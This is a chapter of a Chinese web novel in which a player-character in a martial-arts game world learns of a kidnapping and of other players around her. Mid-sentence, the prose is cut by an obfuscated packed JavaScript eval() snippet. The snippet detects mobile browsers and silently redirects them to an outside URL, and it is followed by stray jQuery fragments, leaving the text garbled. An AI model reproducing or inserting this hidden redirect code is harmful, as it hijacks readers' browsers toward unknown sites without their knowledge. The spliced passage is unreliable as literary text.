无可奈何,安知只得先回了自己房内。

    她点出与陆景宴的对话框,将今早发生的事情尽数告知,同时向他打听起贺蕊的情况。却迟迟未等到回复。

    一早上事故频发,安知完全忘记自己滴水未进。听见敲门声后,起身迈出两步,眼前发白,头一阵眩晕。

    扶着床栏稳住身形后,仍然不可视物,无奈开口:“门没锁,劳驾自己开下门。”

    待人走近,安知才恢复视力,原来是贺云卿。

    “我已经去玥朝屋里看过了,施针给她通了通热气,等发完汗祛了热应就无碍了。”贺云卿看着安知扶栏不动,“你怎么样?可是不舒服?”

    “贺师姐……我饿了……”

    贺云卿一拍大腿:“我给忘了,你早膳也未用。快快随我去灶屋。”

    刚踏出屋,空中飘雪,贺云卿回屋取了斗篷递给安知,同时询问道:“那让人发痛昏迷的药可有伤到你?”

    安知摇头回答:“无事,那药采微称它为‘陷忧草’,很直白的命名方式,它会让你陷入最让你忧虑的回忆中么?”

    贺云卿行进的步子僵直一瞬后恢复平常:“确实如此。我原本想遣一批善于轻功的弟子先行追捕采微,那些老古董直言要等师傅回来定夺。”

    “长老们的决策并非没有道理,”安知分析道,“一来谷主不在,调兵遣将自有难处。二来敌暗我明,难保出谷后弟子安危,谷里至少更为安全。”

    “确该如此。”贺云卿点头认同,“故最后商定于今日未时召集弟子分部清点,看看是否仍有来路不明之人混迹其中,先行清理门户,再等明日师傅拿主意。”

    食不言,两人在灶屋用完膳后,打包了一份给沈玥朝送了去。

    要不还得是百草谷的大师姐呢?沈玥朝高烧已退,除略显疲态无力外,已无其余问题。

    贺云卿仍不放心,手脉把了又把才放下心。

    “玥朝,你还记得晕过去时的事么?”贺云卿问道。

    沈玥朝摇头回道:“记不太清楚了,只记得我一直在跑,感觉有什么在追杀我似的。”

    安知顺势问道:“那你还记得回屋后的事情么?”

    “回屋后?我不是早就睡着了么?”沈玥朝不好意思地看着安知,“我不会做了什么丢脸的事情吧?”

    安知心里一顿,面上不显只摇了摇头:“没有,你睡得很乖,就是不知道梦到了什么,撒娇地喊我姐姐。”

    沈玥朝明显松了口气:“还好还好,没有发病就好。”

    安知明了,沈玥朝这里不会有她想知道的答案了。谜题又多了一个,安知还是要自己寻找答案。

    贺安二人再次叮嘱沈玥朝好生休息后,各自回了房间。

    -

    安知躺在床上盯着床顶发呆,久久未能午眠。

    一声“叮!”自她手腕处响起,她点出手环屏幕,好友栏赫然出现红点。

    安知打开与陆景宴的对话框,一颗毛茸茸的脑袋探出来,一双大眼睛打量着安知,似乎在确认什么,随后整个人蹦了出来。

    是陆景宴的两头身迷你小人,他在对话框底小跑几步站在了正中间,头顶出现了对话框,随着内容一字一字地逐渐蹦出,小陆景宴小嘴微张,在安知耳边说起话来。

    【贺姨的确来找我了,我们现在在镜湖县的客栈,还有一些事情需处理,不多时她就会动身回谷,明日会准时抵达的,无需挂心。

    【这事我已知晓,虽无法直接与贺姨说明事件情况,我会以关心的名义提醒她多加小心的。

    【倒是你,安知,你准备好了么?】

    小人说至此时,目光如炬,原本不苟言笑的小脸像装大人般正经,平添几分趣味。

    又等待片刻,小人没再出声,陆景宴的消息就发到这里了。

    【你是说准备好走主线剧情吗?】

    消息发出后,一直在等安知回复的陆景宴立刻回复道。

    【是,我猜测采微此人恐是五毒门的弟子,沈玥朝的行踪已经暴露。我不清楚知晓的人数范围,你们只能多加小心,恐怕很快就要被迫卷入主线了。

    【稍等,外面有些动静。】

    安知同样做过采微身份猜测,但由于对江湖信息的缺失,无法对应到门派上,陆景宴的存在很好地弥补了这一点。

    没有回信的这片刻,通讯小人原地坐下打起了盹儿。安知饶有兴致地看着这一幕,试着用手指戳了戳小人脸颊。

    小人竟有感觉,微微睁开一只眼睛,伸出短粗的小手拍开了安知的手指。

    安知还未来得及有些别的举动,小人一下惊醒,在原地跳了起来,着急地团团转。

    【你收拾好东西等我过来!】

    安知“?怎么……”的文字还未生成完,对方的讯息极速同步过来。

    【谷主失踪了。我会到百草谷亲自跟众长老与贺云卿说明情况。

    【房间有打斗的痕迹,桌椅都已摔坏,刚刚的动静便是因此。我破门时她已被带走,我追踪片刻,却再无痕迹,只得作罢。回客栈后,方才发现墙上钉着一张纸,上面点名让陆家人去燕州城。大致情况便是如此,其余等我驾车后再找你细聊。】

    贺谷主竟真出事了?!

    安知有点诧异,这事件明显是陆沈两人要被迫立于人前的事,为何她的预知能力却失效了?

    她突然觉得,或许贺云卿早上的决定是正确的,如果当时派人追查受伤的采微,是有极大可能会得到些许线索的,不至于像现在这般被动。

    也意识到她的预知能力并非能够全然依赖,游戏结局存在无数的走向,能力无法周全,至少大部分时间需要她自己做出判断。

    她待在床上思索,在旁人眼里就像在发呆。

    陆景宴一时未来消息,小人看着愁容满面的安知,轻轻敲击了屏幕,安知眼神这才又重新聚焦到他身上。

    他偏着头,做出疑惑的表情,似乎本体没有消息输入时,他无法自主说话,只能通过动作来表达情绪。

    安知手指划过小人头顶,他像只被摸顺毛了的小狗,倒是自己先安逸起来。

    现在没办法完全布局未来的所有可能性,只得先随主角们的剧情发展见机行事了。

    -

    陆景宴的消息一直到未时都没再更新。

    安知先是跟着贺云卿围观了一下弟子摸排事宜。

    人员分部管理操作起来的确事半功倍,但都是些重复性工作。她跟贺云卿做了报备,自行去了学习屋。

    屋内通常最里是一整墙的书架,满当当地分类排列着各类医药相关书籍,或是基础武功的摹本,以便弟子自发钻研。各部长老每日排班,会在学习屋尽头的大学堂上午教学下午答疑,自是不怕遇见难题无从知晓答案的。

    安知随便进了一间,进门时便看见一具插满了银针的人体模具,她惊心一刻,继而冷静下来,在书架中挑选出了关于控制真气的基础书籍。

    她试着照书上那样闭眼冥想起来。顷刻间,中焦部位一股热气聚拢,首先是引导着这股气游历全身,尚算简单。而后是将气聚于一指,却总是在最后一截处前功尽弃。

    突然,学习屋被推开,来人应该是已经被核查完毕的弟子,他有些忿忿地瞥了安知一眼,之后视若无睹,疾步走到了另一侧的施针台。

    他先是将密密麻麻的银针,按着人体部位为组划分,然后分组拔下,又尽数分类规整放回针袋中。

    动作之快、之准,让安知瞠目结舌,她好奇他接下去的操作。

    只见此人闭上眼睛,自针袋中依次取出银针,由上自下精准插入穴位,快狠准,不带一丝犹豫,显然已将穴位烂熟于心。

    他已然练习得忘我,丝毫不在意安知的存在。

    安知收回视线,将所有注意力集中到运气上,将人体映照在脑中,凝神聚力于丹田,倏尔不再纠结,快速思索运气路线,直通一指,精准到位。

    安知总算松了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959263|214297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    口气,正打算离开,看见那人正盯着她,欲言又止,终是没开口,低头继续捣鼓他的银针。

    奇怪的打量。她还未来得及放在心上,“叮!”——陆景宴消息到了。

    -

    安知重新找了处无人的屋,将门栓反锁后,才打开聊天框。

    小人趴在屏幕前,整个脸牢牢贴上,见过安知出现,立马正经站好,一股脑将信息全数道出。

    【燕州城将于一月后召开武林大会,此消息是陆家灭门事发一个月后,被匿名人士发帖的。原本无落款的拜帖是无法送达至各门派的,但正文点明了陆家宝物的另一半就在发帖人手中。

    【但你知道的,另一半我已经给你看过了,发帖人所言是假,但的确是极好的饵。无论知情与否,恐怕都会前来一探究竟。带走贺姨的多半是同一伙人,并且对陆家的情况一知半解。

    【我在燕州城的同僚,同样也是玩家,已与我通信说明情况。南州城的外来客除开江湖散户,但凡是能叫上名的门派都已尽数向燕州城转移。我已捎信给付荣托他照顾小孩,你尽可放心。先与你说到此,我将于明日赶到,其余事情待我们碰头再议。】

    【信息我已知晓,等你。】

    安知收起聊天框。一次性接收到如此信息量,她才有了些在走主线的感觉,之前的平和确实有点风雨欲来前的宁静。她决定回到自己屋中从长计议。

    刚到院子,看到贺沈两人正在等她,她才意识到,自己居然耽搁了不少时间。

    “清点工作已经完成了?”安知率先开口询问。

    贺云卿点头:“所有人都早于半年前便登记在册,同时巡查队伍全谷搜查,确实再无可疑人物。结束后,我原是想回来确认一下玥朝的烧热是否未曾复发,却见她在你屋门口踱步,似有事找你。”

    说完,贺云卿看了眼沈玥朝,见她正盯着自己,眼神往外瞥,暗示需要两人私聊空间,回以白眼后,识相道:“你们先聊。”说完回了自己的房间。

    沈玥朝这才上前扯着安知在园中石凳上坐下。

    她凑得很近,小声与安知说:“安知,你是玩家么?”

    她并不要求安知立刻回答,仿佛是与否都不重要,或者是已完全笃定答案,未有停顿,便继续道:“嘿嘿,你是不是早就知道我也是了?很抱歉最开始对你没说真名,我并不是有意隐瞒的。我以为你是NPC,并不想因为一次意外过度影响到‘你’的命运发展。”

    安知竟是不知道她还记挂着这档子事,摆摆手:“我能理解,你不用将贺云卿的话放心上,我并没有觉得你不真诚。”

    “我知道你不会,但我挺在意的。”沈玥朝撇着嘴,眉尾向下微斜,“你是不是觉得我邀请你跟在我身边别有原因?”

    安知未置可否:“我有我的目的。你哪怕不曾邀请,我也会想方设法跟着你。”

    天已近傍晚,忽而飘起小雪来。

    安知以为自己如此坦白,沈玥朝会稍微好受一些,却不料对方露出一个比刚才还苦涩的表情,但转瞬即逝。

    “我知道的,你说的一切我都明白,我可能只是心底里不好接受。”

    安知听至此,十分不解:“你我并非熟识,哪怕在游戏里也不过认识几天,你对任何人都会在几日内便倾注真心么?”

    沈玥朝明白安知这话说得直白,她对别人的确也是如此认知,就算是从小就认识的贺云卿她也时有疏离,她觉得自己并不是会乐于社交的性格。

    “其实,我进入游戏前的记忆很混乱,在成为这个世界的‘沈玥朝’之后,我一直按着角色设定去生活,深知这是一个游戏,对周围亲人也不甚亲近。”

    沈玥朝诉说过程中始终盯着安知那双平静的眼睛,无奈地扯着嘴角扬起一个苦涩的笑:“但是游戏之外,我应该认识的,安知。”

    *

    【武林大会?听上去会去好多厉害的人哦】

    【游戏?原来这是人类的游戏实况直播节目啊】